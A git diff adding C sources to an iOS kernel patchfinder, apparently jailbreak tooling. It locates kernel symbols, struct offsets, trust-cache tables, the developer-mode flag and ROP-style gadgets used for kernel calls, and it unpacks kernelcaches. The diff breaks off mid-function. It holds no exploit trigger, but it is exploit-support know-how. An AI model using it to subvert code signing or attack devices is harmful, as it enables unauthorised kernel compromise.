uint32_t blAnyInst = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAnyInst, &blAnyMask); + uint64_t blAddr = pfsec_find_prev_inst(textSec, logBranchXrefAddr, 100, blAnyInst, blAnyMask); + XPF_ASSERT(blAddr); + uint64_t proc_get_syscall_filter_mask_size = 0; + arm64_dec_b_l(pfsec_read32(textSec, blAddr), blAddr, &proc_get_syscall_filter_mask_size, NULL); + + return pfsec_arm64_resolve_stub(textSec, proc_get_syscall_filter_mask_size); +} + +static uint64_t xpf_find_nsysent(void) +{ + uint64_t proc_get_syscall_filter_mask_size = xpf_item_resolve("kernelSymbol.proc_get_syscall_filter_mask_size"); + XPF_ASSERT(proc_get_syscall_filter_mask_size); + + uint32_t movAnyInst = 0, movAnyMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &movAnyInst, &movAnyMask); + uint64_t mov1Addr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_get_syscall_filter_mask_size, 20, movAnyInst, movAnyMask); + XPF_ASSERT(mov1Addr); + uint64_t mov2Addr = pfsec_find_next_inst(gXPF.kernelTextSection, mov1Addr+4, 10, movAnyInst, movAnyMask); + XPF_ASSERT(mov2Addr); + + uint64_t imm = 0; + arm64_dec_mov_imm(pfsec_read32(gXPF.kernelTextSection, mov2Addr), NULL, &imm, NULL, NULL); + return imm; +} + +static uint64_t xpf_find_mach_trap_count(void) +{ + uint64_t proc_get_syscall_filter_mask_size = xpf_item_resolve("kernelSymbol.proc_get_syscall_filter_mask_size"); + XPF_ASSERT(proc_get_syscall_filter_mask_size); + + uint32_t movAnyInst = 0, movAnyMask = 0; + arm64_gen_mov_imm('z', ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &movAnyInst, &movAnyMask); + uint64_t movAddr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_get_syscall_filter_mask_size, 20, movAnyInst, movAnyMask); + XPF_ASSERT(movAddr); + + uint64_t imm = 0; + arm64_dec_mov_imm(pfsec_read32(gXPF.kernelTextSection, movAddr), NULL, &imm, NULL, NULL); + return imm; +} + +static uint64_t xpf_find_mach_kobj_count(void) +{ + uint64_t proc_get_syscall_filter_mask_size = xpf_item_resolve("kernelSymbol.proc_get_syscall_filter_mask_size"); + XPF_ASSERT(proc_get_syscall_filter_mask_size); + + uint32_t ldrswInst = 0, ldrswMask = 0; + arm64_gen_ldrs_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, ARM64_REG_ANY, OPT_UINT64_NONE, &ldrswInst, &ldrswMask); + uint64_t ldrswAddr = pfsec_find_next_inst(gXPF.kernelTextSection, proc_get_syscall_filter_mask_size, 40, ldrswInst, ldrswMask); + XPF_ASSERT(ldrswAddr); + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, ldrswAddr); +} + +static uint64_t xpf_find_developer_mode_enabled(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("Just like pineapple on pizza, this task/thread port doesn't belong here. @%s:%d"); + __block uint64_t stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + PFXrefMetric *stringXrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t stringXrefAddr = 0; + pfmetric_run(gXPF.kernelTextSection, stringXrefMetric, ^(uint64_t vmaddr, bool *stop){ + stringXrefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringXrefMetric); + XPF_ASSERT(stringXrefAddr); + + uint32_t adrpAnyInst = 0, adrpAnyMask = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpAnyInst, &adrpAnyMask); + uint64_t branchTarget = pfsec_find_prev_inst(gXPF.kernelTextSection, stringXrefAddr - 4, 20, adrpAnyInst, adrpAnyMask); + XPF_ASSERT(branchTarget); + + PFXrefMetric *branchXrefMetric = pfmetric_xref_init(branchTarget, XREF_TYPE_MASK_JUMP); + __block uint64_t branchTarget2 = 0; + pfmetric_run(gXPF.kernelTextSection, branchXrefMetric, ^(uint64_t vmaddr, bool *stop){ + branchTarget2 = vmaddr; + *stop = true; + }); + pfmetric_free(branchXrefMetric); + + __block uint64_t afterRefAddr = 0; + if (branchTarget2) { + PFXrefMetric *branchXrefMetric2 = pfmetric_xref_init(branchTarget2, XREF_TYPE_MASK_JUMP); + + pfmetric_run(gXPF.kernelTextSection, branchXrefMetric2, ^(uint64_t vmaddr, bool *stop){ + afterRefAddr = vmaddr; + *stop = true; + }); + pfmetric_free(branchXrefMetric2); + if (!afterRefAddr) { + afterRefAddr = branchTarget2; + } + } + else { + afterRefAddr = branchTarget; + } + + XPF_ASSERT(afterRefAddr); + + uint32_t ldrLitAnyInst = 0, ldrLitAnyMask = 0; + arm64_gen_ldr_lit(ARM64_REG_ANY, OPT_UINT64_NONE, OPT_UINT64_NONE, &ldrLitAnyInst, &ldrLitAnyMask); + + __block uint64_t developer_mode_candidate = 0; + uint64_t ldrLitAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, afterRefAddr, 25, ldrLitAnyInst, ldrLitAnyMask); + uint64_t adrpAddAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, afterRefAddr, 50, adrpAnyInst, adrpAnyMask); + XPF_ASSERT(ldrLitAddr || adrpAddAddr); + // Depending on the version, developer_mode_storage can either be loaded via adrp+add+ldrb or just via a literal ldr + + // Literal ldr: + // arm64 16.4, 16.5, 16.6, potentially later versions aswell + // adrp+add: + // everything else + + // If we find an adrp+add closer than an ldr literal, we need to take that instead + // This is because there is a false positive ldr literal on 16.0 arm64 right before the adrp+add + if (!adrpAddAddr || ldrLitAddr > adrpAddAddr) { + arm64_dec_ldr_lit(pfsec_read32(gXPF.kernelTextSection, ldrLitAddr), ldrLitAddr, &developer_mode_candidate, NULL); + } + else { + developer_mode_candidate = pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddAddr + 4); + } + + __block uint64_t developer_mode_enabled = false; + if (pfsec_contains_vmaddr(gXPF.kernelDataConstSection, developer_mode_candidate)) { + // developer_mode_candidate is developer_mode_enabled + developer_mode_enabled = developer_mode_candidate; + } + else { + // developer_mode_candidate is developer_mode_storage + PFXrefMetric *storageXref = pfmetric_xref_init(developer_mode_candidate, XREF_TYPE_MASK_POINTER); + pfmetric_run(gXPF.kernelDataConstSection, storageXref, ^(uint64_t vmaddr, bool *stop) { + developer_mode_enabled = vmaddr; + *stop = true; + }); + pfmetric_free(storageXref); + } + + return developer_mode_enabled; +} + +static uint64_t xpf_find_str_x8_x0_gadget(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0x00000000, // str x8, [x0] + 0xd65f03c0 // ret + }; + arm64_gen_str_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_X(8), ARM64_REG_X(0), OPT_UINT64(0), &inst[0], NULL); + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t str_x8_x0_gadget = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + str_x8_x0_gadget = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return str_x8_x0_gadget; +} + +static uint64_t xpf_find_exception_return(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xd5034fdf, // msr daifset, #0xf + 0xd538d083, // mrs x3, tpidr_el1 + 0x910002bf // mov sp, x21 + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t exception_return = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop){ + exception_return = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + return exception_return; +} + +static uint64_t xpf_find_kcall_return(void) +{ + uint32_t inst[] = (uint32_t[]){ + 0xf9000260, // str x0, [x19] + 0xa9417bfd, // ldp x29, x30, [sp, #0x10] + 0xa8c24ff4, // ldp x20, x19, [sp], #0x20 + 0xd65f03c0, // ret + }; + + PFPatternMetric *metric = pfmetric_pattern_init(inst, NULL, sizeof(inst), sizeof(uint32_t)); + __block uint64_t kcall_return = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop){ + kcall_return = vmaddr; + *stop = true; + }); + return kcall_return; +} + +static uint64_t xpf_find_thread_machine_CpuDatap(void) +{ + __block uint64_t stringAddr = 0; + PFStringMetric *stringMetric = pfmetric_string_init("kernel_debug_early_end() not call on boot processor @%s:%d"); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!stringAddr) { + stringMetric = pfmetric_string_init("\"kernel_debug_early_end() not call on boot processor\""); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + XPF_ASSERT(stringAddr); + + __block uint64_t panicBranch = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + if (strcmp(gXPF.darwinVersion, "21.0.0") < 0) { + // On iOS 14 the branch xref is to the adrp before the panic call + panicBranch = vmaddr - (sizeof(uint32_t)); + } else { + panicBranch = vmaddr - (5 * sizeof(uint32_t)); + } + *stop = true; + }); + pfmetric_free(xrefMetric); + + XPF_ASSERT(panicBranch); + + __block uint64_t machine_CpuDatap = 0; + PFXrefMetric *panicBranchXrefMetric = pfmetric_xref_init(panicBranch, XREF_TYPE_MASK_JUMP); + pfmetric_run(gXPF.kernelTextSection, panicBranchXrefMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t msrTPIDR_EL1Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, 0xd538d080, 0xffffffe0); + arm64_register threadReg = ARM64_REG_X(pfsec_read32(gXPF.kernelTextSection, msrTPIDR_EL1Addr) & 0x1f); + + uint32_t ldrInst = 0, ldrMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, threadReg, OPT_UINT64_NONE, &ldrInst, &ldrMask); + + uint64_t ldr1Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, ldrInst, ldrMask); + uint64_t ldr2Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, ldr1Addr, 50, ldrInst, ldrMask); + + uint32_t readLdrInst = pfsec_read32(gXPF.kernelTextSection, ldr1Addr); + arm64_dec_ldr_imm(readLdrInst, NULL, NULL, &machine_CpuDatap, NULL, NULL); + if (machine_CpuDatap == 0) { + readLdrInst = pfsec_read32(gXPF.kernelTextSection, ldr2Addr); + arm64_dec_ldr_imm(readLdrInst, NULL, NULL, &machine_CpuDatap, NULL, NULL); + } + *stop = true; + }); + pfmetric_free(panicBranchXrefMetric); + + return machine_CpuDatap; +} + +static uint64_t xpf_find_thread_machine_kstackptr(void) +{ + __block uint64_t stringAddr = 0; + PFStringMetric *stringMetric = pfmetric_string_init("Invalid kernel stack pointer (probable corruption)."); + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(stringAddr); + + __block uint64_t machine_kstackptr = 0; + PFXrefMetric *xrefMetric = pfmetric_xref_init(stringAddr, XREF_TYPE_MASK_REFERENCE); + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + uint64_t msrTPIDR_EL1Addr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, 0xd538d080, 0xffffffe0); + arm64_register threadReg = ARM64_REG_X(pfsec_read32(gXPF.kernelTextSection, msrTPIDR_EL1Addr) & 0x1f); + + uint32_t ldrInst = 0, ldrMask = 0; + arm64_gen_ldr_imm(0, LDR_STR_TYPE_UNSIGNED, ARM64_REG_ANY, threadReg, OPT_UINT64_NONE, &ldrInst, &ldrMask); + + uint64_t ldrAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, vmaddr, 50, ldrInst, ldrMask); + uint32_t readLdrInst = pfsec_read32(gXPF.kernelTextSection, ldrAddr); + arm64_dec_ldr_imm(readLdrInst, NULL, NULL, &machine_kstackptr, NULL, NULL); + + *stop = true; + }); + pfmetric_free(xrefMetric); + + return machine_kstackptr; +} + +static uint64_t xpf_find_thread_machine_contextData(void) +{ + uint32_t inst[3] = { + 0xd5184100, // msr sp_el0, x0 + 0xa8c107e0, // ldp x0, x1, [sp], #0x10 + 0xd50040bf, // msr spsel, #0 + }; + uint32_t mask[3] = { + 0xffffffff, + 0xffffffff, + 0xffffffff, + }; + + __block uint64_t machine_contextData = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + uint16_t imm = 0; + arm64_dec_add_imm(pfsec_read32(gXPF.kernelTextSection, vmaddr - 12), NULL, NULL, &imm); + machine_contextData = imm; + *stop = true; + }); + pfmetric_free(patternMetric); + + return machine_contextData; +} + +// actually, function finding name is `_LowResetVectorBase` +static uint64_t xpf_find_iorvbar(void) +{ + uint32_t inst[1] = { + 0xd510109f, // msr OSLAR_EL1, xzr + }; + uint32_t mask[1] = { + 0xffffffff, + }; + + __block uint64_t iorvbar = 0; + PFPatternMetric *patternMetric = pfmetric_pattern_init(inst, mask, sizeof(inst), sizeof(uint32_t)); + pfmetric_run(gXPF.kernelTextSection, patternMetric, ^(uint64_t vmaddr, bool *stop) { + // IORVBAR is always page-aligned, and the instruction we look for is always at an offset of +0x400 + if ((vmaddr & 0x3FFF) == 0x400) { + iorvbar = vmaddr & ~0x3FFF; + *stop = true; + } + }); + return iorvbar; +} + +void xpf_common_init(void) +{ + xpf_item_register("kernelSymbol.start_first_cpu", xpf_find_start_first_cpu, NULL); + xpf_item_register("kernelConstant.kernel_el", xpf_find_kernel_el, NULL); + xpf_item_register("kernelSymbol.cpu_ttep", xpf_find_cpu_ttep, NULL); + xpf_item_register("kernelSymbol.fatal_error_fmt", xpf_find_fatal_error_fmt, NULL); + xpf_item_register("kernelSymbol.kalloc_data_external", xpf_find_kalloc_data_external, NULL); + xpf_item_register("kernelSymbol.kfree_data_external", xpf_find_kfree_data_external, NULL); + xpf_item_register("kernelSymbol.allproc", xpf_find_allproc, NULL); + + if(gXPF.isSPTMDevice) + xpf_item_register("kernelSymbol.arm_vm_init", xpf_sptm_find_arm_vm_init, NULL); + else + xpf_item_register("kernelSymbol.arm_vm_init", xpf_find_arm_vm_init, NULL); + + xpf_item_register("kernelSymbol.phystokv", xpf_find_phystokv, NULL); + + xpf_item_register("kernelSymbol.gVirtBase", xpf_find_arm_vm_init_reference, (void*)(uint32_t)1); + xpf_item_register("kernelSymbol.gPhysBase", xpf_find_arm_vm_init_reference, (void*)(uint32_t)2); + xpf_item_register("kernelSymbol.gPhysSize", xpf_find_arm_vm_init_reference, (void*)(uint32_t)5); + xpf_item_register("kernelSymbol.ptov_table", xpf_find_ptov_table, NULL); + + xpf_item_register("kernelSymbol.pmap_bootstrap", xpf_find_pmap_bootstrap, NULL); + xpf_item_register("kernelSymbol.pointer_mask", xpf_find_pointer_mask_symbol, NULL); + xpf_item_register("kernelConstant.pointer_mask", xpf_find_pointer_mask, NULL); + xpf_item_register("kernelConstant.T1SZ_BOOT", xpf_find_T1SZ_BOOT, NULL); + xpf_item_register("kernelConstant.ARM_TT_L1_INDEX_MASK", xpf_find_ARM_TT_L1_INDEX_MASK, NULL); + + xpf_item_register("kernelConstant.PT_INDEX_MAX", xpf_find_PT_INDEX_MAX, NULL); + + xpf_item_register("kernelSymbol.vm_page_array_beginning_addr", xpf_find_vm_reference, (void *)(uint32_t)1); + xpf_item_register("kernelSymbol.vm_page_array_ending_addr", xpf_find_vm_reference, (void *)(uint32_t)2); + xpf_item_register("kernelSymbol.vm_first_phys_ppnum", xpf_find_vm_reference, (void *)(uint32_t)3); + + xpf_item_register("kernelSymbol.task_crashinfo_release_ref", xpf_find_task_crashinfo_release_ref, NULL); + xpf_item_register("kernelSymbol.task_collect_crash_info", xpf_find_task_collect_crash_info, NULL); + xpf_item_register("kernelStruct.task.itk_space", xpf_find_task_itk_space, NULL); + + xpf_item_register("kernelStruct.vm_map.pmap", xpf_find_vm_map_pmap, NULL); + xpf_item_register("kernelStruct.proc.struct_size", xpf_find_proc_struct_size, NULL); + + xpf_item_register("kernelSymbol.perfmon_dev_open", xpf_find_perfmon_dev_open, NULL); + xpf_item_register("kernelSymbol.perfmon_devices", xpf_find_perfmon_devices, NULL); + xpf_item_register("kernelSymbol.vn_kqfilter", xpf_find_vn_kqfilter, NULL); + xpf_item_register("kernelSymbol.cdevsw", xpf_find_cdevsw, NULL); + + xpf_item_register("kernelSymbol.proc_apply_sandbox", xpf_find_proc_apply_sandbox, NULL); + xpf_item_register("kernelSymbol.mac_label_set", xpf_find_mac_label_set, NULL); + + xpf_item_register("kernelSymbol.proc_get_syscall_filter_mask_size", xpf_find_proc_get_syscall_filter_mask_size, NULL); + xpf_item_register("kernelConstant.nsysent", xpf_find_nsysent, NULL); + xpf_item_register("kernelConstant.mach_trap_count", xpf_find_mach_trap_count, NULL); + xpf_item_register("kernelSymbol.mach_kobj_count", xpf_find_mach_kobj_count, NULL); + + xpf_item_register("kernelSymbol.developer_mode_enabled", xpf_find_developer_mode_enabled, NULL); + + xpf_item_register("kernelGadget.str_x8_x0", xpf_find_str_x8_x0_gadget, NULL); + xpf_item_register("kernelSymbol.exception_return", xpf_find_exception_return, NULL); + xpf_item_register("kernelGadget.kcall_return", xpf_find_kcall_return, NULL); + + xpf_item_register("kernelStruct.thread.machine_CpuDatap", xpf_find_thread_machine_CpuDatap, NULL); + xpf_item_register("kernelStruct.thread.machine_kstackptr", xpf_find_thread_machine_kstackptr, NULL); + xpf_item_register("kernelStruct.thread.machine_contextData", xpf_find_thread_machine_contextData, NULL); + + if(!gXPF.isSPTMDevice) + xpf_item_register("kernelSymbol.iorvbar", xpf_find_iorvbar, NULL); +} diff --git a/XPF/src/common.h b/XPF/src/common.h new file mode 100644 index 0000000..3b3fddb --- /dev/null +++ b/XPF/src/common.h @@ -0,0 +1 @@ +void xpf_common_init(void); \ No newline at end of file diff --git a/XPF/src/decompress.c b/XPF/src/decompress.c new file mode 100644 index 0000000..2b33f87 --- /dev/null +++ b/XPF/src/decompress.c @@ -0,0 +1,132 @@ +// Taken from golb: https://github.com/0x7ff/golb +// Licensed under Apache 2.0 +// See decompress.LICENSE + +#include "decompress.h" +#include +#include +#include + +#define DER_INT (0x2U) +#define DER_SEQ (0x30U) +#define LZSS_F (18) +#define LZSS_N (4096) +#define LZSS_THRESHOLD (2) +#define KCOMP_HDR_PAD_SZ (0x16C) +#define DER_IA5_STR (0x16U) +#define DER_OCTET_STR (0x4U) +#define KCOMP_HDR_MAGIC (0x636F6D70U) +#define KCOMP_HDR_TYPE_LZSS (0x6C7A7373U) + +const uint8_t * +der_decode(uint8_t tag, const uint8_t *der, const uint8_t *der_end, size_t *out_len) { + size_t der_len; + + if(der_end - der > 2 && tag == *der++) { + if(((der_len = *der++) & 0x80U) != 0) { + *out_len = 0; + if((der_len &= 0x7FU) <= sizeof(*out_len) && (size_t)(der_end - der) >= der_len) { + while(der_len-- != 0) { + *out_len = (*out_len << 8U) | *der++; + } + } + } else { + *out_len = der_len; + } + if(*out_len != 0 && (size_t)(der_end - der) >= *out_len) { + return der; + } + } + return NULL; +} + +const uint8_t * +der_decode_seq(const uint8_t *der, const uint8_t *der_end, const uint8_t **seq_end) { + size_t der_len; + + if((der = der_decode(DER_SEQ, der, der_end, &der_len)) != NULL) { + *seq_end = der + der_len; + } + return der; +} + +const uint8_t * +der_decode_uint64(const uint8_t *der, const uint8_t *der_end, uint64_t *r) { + size_t der_len; + + if((der = der_decode(DER_INT, der, der_end, &der_len)) != NULL && (*der & 0x80U) == 0 && (der_len <= sizeof(*r) || (--der_len == sizeof(*r) && *der++ == 0))) { + *r = 0; + while(der_len-- != 0) { + *r = (*r << 8U) | *der++; + } + return der; + } + return NULL; +} + +size_t +decompress_lzss(const uint8_t *src, size_t src_len, uint8_t *dst, size_t dst_len) { + const uint8_t *src_end = src + src_len, *dst_start = dst, *dst_end = dst + dst_len; + uint16_t i, r = LZSS_N - LZSS_F, flags = 0; + uint8_t text_buf[LZSS_N + LZSS_F - 1], j; + + memset(text_buf, ' ', r); + while(src != src_end && dst != dst_end) { + if(((flags >>= 1U) & 0x100U) == 0) { + flags = *src++ | 0xFF00U; + if(src == src_end) { + break; + } + } + if((flags & 1U) != 0) { + text_buf[r++] = *dst++ = *src++; + r &= LZSS_N - 1U; + } else { + i = *src++; + if(src == src_end) { + break; + } + j = *src++; + i |= (j & 0xF0U) << 4U; + j = (j & 0xFU) + LZSS_THRESHOLD; + do { + *dst++ = text_buf[r++] = text_buf[i++ & (LZSS_N - 1U)]; + r &= LZSS_N - 1U; + } while(j-- != 0 && dst != dst_end); + } + } + return (size_t)(dst - dst_start); +} + +void * +kdecompress(const void *src, size_t src_len, size_t *dst_len) { + const uint8_t *der, *octet, *der_end, *src_end = (const uint8_t *)src + src_len; + struct { + uint32_t magic, type, adler32, uncomp_sz, comp_sz; + uint8_t pad[KCOMP_HDR_PAD_SZ]; + } kcomp_hdr; + size_t der_len; + uint64_t r; + void *dst; + + if((der = der_decode_seq(src, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4 && (memcmp(der, "IMG4", der_len) != 0 || ((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode(DER_IA5_STR, der, der_end, &der_len)) != NULL && der_len == 4)) && memcmp(der, "IM4P", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && der_len == 4 && memcmp(der, "krnl", der_len) == 0 && (der = der_decode(DER_IA5_STR, der + der_len, der_end, &der_len)) != NULL && (der = der_decode(DER_OCTET_STR, der + der_len, der_end, &der_len)) != NULL && der_len > sizeof(kcomp_hdr)) { + octet = der; + memcpy(&kcomp_hdr, octet, sizeof(kcomp_hdr)); + if(kcomp_hdr.magic == __builtin_bswap32(KCOMP_HDR_MAGIC)) { + if(kcomp_hdr.type == __builtin_bswap32(KCOMP_HDR_TYPE_LZSS) && (kcomp_hdr.comp_sz = __builtin_bswap32(kcomp_hdr.comp_sz)) <= der_len - sizeof(kcomp_hdr) && (kcomp_hdr.uncomp_sz = __builtin_bswap32(kcomp_hdr.uncomp_sz)) != 0 && (dst = malloc(kcomp_hdr.uncomp_sz)) != NULL) { + if(decompress_lzss(octet + sizeof(kcomp_hdr), kcomp_hdr.comp_sz, dst, kcomp_hdr.uncomp_sz) == kcomp_hdr.uncomp_sz) { + *dst_len = kcomp_hdr.uncomp_sz; + return dst; + } + free(dst); + } + } else if((der = der_decode_seq(der + der_len, src_end, &der_end)) != NULL && (der = der_decode_uint64(der, der_end, &r)) != NULL && r == 1 && der_decode_uint64(der, der_end, &r) != NULL && r != 0 && (dst = malloc(r)) != NULL) { + if(compression_decode_buffer(dst, r, octet, der_len, NULL, COMPRESSION_LZFSE) == r) { + *dst_len = r; + return dst; + } + free(dst); + } + } + return NULL; +} diff --git a/XPF/src/decompress.h b/XPF/src/decompress.h new file mode 100644 index 0000000..9338191 --- /dev/null +++ b/XPF/src/decompress.h @@ -0,0 +1,3 @@ +#include +#include +void *kdecompress(const void *src, size_t src_len, size_t *dst_len); \ No newline at end of file diff --git a/XPF/src/non_ppl.c b/XPF/src/non_ppl.c new file mode 100644 index 0000000..a9f2711 --- /dev/null +++ b/XPF/src/non_ppl.c @@ -0,0 +1,234 @@ +#include "choma/PatchFinder.h" +#include "xpf.h" + +static uint64_t xpf_find_pmap_image4_trust_caches(void) +{ + // search pmap_is_trust_cache_loaded + uint32_t inst[] = { + 0x39400400, // ldrb wN, [xM, #0x1] + 0x39401400, // ldrb wN, [xM, #0x5] + 0x6b00001f, // cmp wN, wM + 0x54000001, // b.ne + 0x39400800, // ldrb wN, [xM, #0x2] + 0x39401800, // ldrb wN, [xM, #0x6] + 0x6b00001f, // cmp wN, wM + 0x54000001, // b.ne + }; + uint32_t mask[] = { + 0xff40fc00, + 0xff40fc00, + 0xffe0fc1f, + 0xff00001f, + 0xff40fc00, + 0xff40fc00, + 0xffe0fc1f, + 0xff00001f, + }; + + PFPatternMetric *metric = pfmetric_pattern_init(&inst, &mask, sizeof(inst), sizeof(uint32_t)); + __block uint64_t found = 0; + pfmetric_run(gXPF.kernelTextSection, metric, ^(uint64_t vmaddr, bool *stop) { + found = vmaddr; + *stop = true; + }); + pfmetric_free(metric); + XPF_ASSERT(found); + + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpInst, &adrpInstAny); + uint64_t adrpAddr = pfsec_find_prev_inst(gXPF.kernelTextSection, found, 25, adrpInst, adrpInstAny); + XPF_ASSERT(adrpAddr); + + return pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr + 4); +} + +static uint64_t xpf_find_trust_cache_rt(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("unexpected size for TrustCache property: %u != %zu @%s:%d"); + __block uint64_t non_ppl_trust_cache_rt_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + non_ppl_trust_cache_rt_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + XPF_ASSERT(non_ppl_trust_cache_rt_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(non_ppl_trust_cache_rt_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t non_ppl_trust_cache_rt = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + non_ppl_trust_cache_rt = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + XPF_ASSERT(non_ppl_trust_cache_rt); + + // 2nd adrp + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpInst, &adrpInstAny); + + uint64_t toCheck = non_ppl_trust_cache_rt; + uint64_t adrpAddr = 0; + for (int i = 0; i < 2; i++) { + adrpAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 80, adrpInst, adrpInstAny); + toCheck = adrpAddr + 4; + } + XPF_ASSERT(adrpAddr); + + return pfsec_read_pointer(gXPF.kernelDataConstSection, pfsec_arm64_resolve_adrp_ldr_str_add_reference_auto(gXPF.kernelTextSection, adrpAddr + 4)); +} + +static uint64_t xpf_find_pmap_tt_deallocate(void) +{ + PFStringMetric *stringMetric = pfmetric_string_init("pmap_tt_deallocate(): ptdp %p, count %d @%s:%d"); + __block uint64_t pmap_tt_deallocate_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop){ + pmap_tt_deallocate_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + + if (!pmap_tt_deallocate_stringAddr) { + stringMetric = pfmetric_string_init("\"pmap_tt_deallocate(): ptdp %p, count %d\\n\""); + pmap_tt_deallocate_stringAddr = 0; + pfmetric_run(gXPF.kernelStringSection, stringMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_tt_deallocate_stringAddr = vmaddr; + *stop = true; + }); + pfmetric_free(stringMetric); + } + + XPF_ASSERT(pmap_tt_deallocate_stringAddr); + + PFXrefMetric *xrefMetric = pfmetric_xref_init(pmap_tt_deallocate_stringAddr, XREF_TYPE_MASK_REFERENCE); + __block uint64_t pmap_tt_deallocate = 0; + pfmetric_run(gXPF.kernelTextSection, xrefMetric, ^(uint64_t vmaddr, bool *stop) { + pmap_tt_deallocate = pfsec_find_function_start(gXPF.kernelTextSection, vmaddr); + *stop = true; + }); + pfmetric_free(xrefMetric); + + return pmap_tt_deallocate; +} + +static uint64_t xpf_find_pmap_tt_deallocate_reference(uint32_t n) +{ + uint64_t pmap_tt_deallocate = xpf_item_resolve("kernelSymbol.pmap_tt_deallocate"); + XPF_ASSERT(pmap_tt_deallocate); + + uint32_t blAny = 0, blAnyMask = 0; + arm64_gen_b_l(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, &blAny, &blAnyMask); + + uint64_t toCheck = pmap_tt_deallocate; + uint64_t blAddr = 0; + for (int i = 0; i < 2; i++) { + blAddr = pfsec_find_next_inst(gXPF.kernelTextSection, toCheck, 80, blAny, blAnyMask); + toCheck = blAddr - 12; + } + XPF_ASSERT(blAddr); + + uint32_t adrpInst = 0, adrpInstAny = 0; + arm64_gen_adr_p(OPT_BOOL(true), OPT_UINT64_NONE, OPT_UINT64_NONE, ARM64_REG_ANY, &adrpInst, &adrpInstAny); + + toCheck = blAddr; + uint64_t adrpAddr = 0; + for (int 